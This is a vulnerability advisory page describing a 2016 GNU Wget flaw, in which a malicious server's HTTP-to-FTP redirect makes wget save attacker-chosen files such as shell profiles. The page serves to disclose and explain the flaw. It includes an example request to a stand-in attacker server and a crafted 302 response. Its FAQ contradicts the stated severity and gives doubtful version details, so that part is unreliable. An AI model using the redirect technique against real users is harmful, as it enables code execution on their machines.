REDHAT-BUG-1343666: Medium severity GNU Wget vulnerability

Published Jun 7, 2016
·
Updated

GNU Wget (including the latest version) when supplied with a malicious website link can be tricked into saving an arbitrary remote file supplied by an attacker, with arbitrary contents and filename under the current directory. This can lead to potential code execution by creating system scripts (such as .bashprofile and others) within home directory as well as other unauthorized actions (such as request sniffing by proxy modification, or arbitrary system file retrieval) by uploading .wgetrc configuration file.

Because of lack of sufficient controls in wget, when user downloads a file with wget, such as:

wget http://attackers-server/safefile.txt

An attacker who controls the server could make wget create an arbitrary file with arbitrary contents and filename by issuing a crafted HTTP 30X Redirect containing ftp server reference in response to the victim's wget request.

For example, if the attacker's server replies with the following response:

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=UTF-8 Location: ftp://attackers-server/.bashprofile Content-Length: 262 Server: Apache

wget will automatically follow the redirect and will download a malicious .bashprofile file from a malicious FTP server. It will fail to rename the file to the originally requested filename of 'safefile.txt' as it would normally do, in case of a redirect to another HTTP resource with a different name.

Because of this vulnerability, an attacker is able to upload an arbitrary file with an arbitrary filename to the victim's current directory.

Affected Software

1 affected component
GNU Wget

Event History

Jun 7, 2016
Data Sourced
via Red Hat·03:55 PM
DescriptionSeverityAffected Software

Frequently Asked Questions

1

What is the severity of REDHAT-BUG-1343666?

The severity of REDHAT-BUG-1343666 is considered high due to the potential for arbitrary file saving and subsequent code execution.

2

How do I fix REDHAT-BUG-1343666?

To fix REDHAT-BUG-1343666, update GNU Wget to the latest version where the vulnerability is patched.

3

What causes the vulnerability in REDHAT-BUG-1343666?

The vulnerability in REDHAT-BUG-1343666 is caused by GNU Wget's improper handling of malicious website links that allow file saving with arbitrary content.

4

Who is affected by REDHAT-BUG-1343666?

Users of GNU Wget, particularly those using version 1.19.5 and prior, are affected by REDHAT-BUG-1343666.

5

What are the potential risks of REDHAT-BUG-1343666?

The potential risks of REDHAT-BUG-1343666 include unauthorized code execution and system compromise through malicious file downloads.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203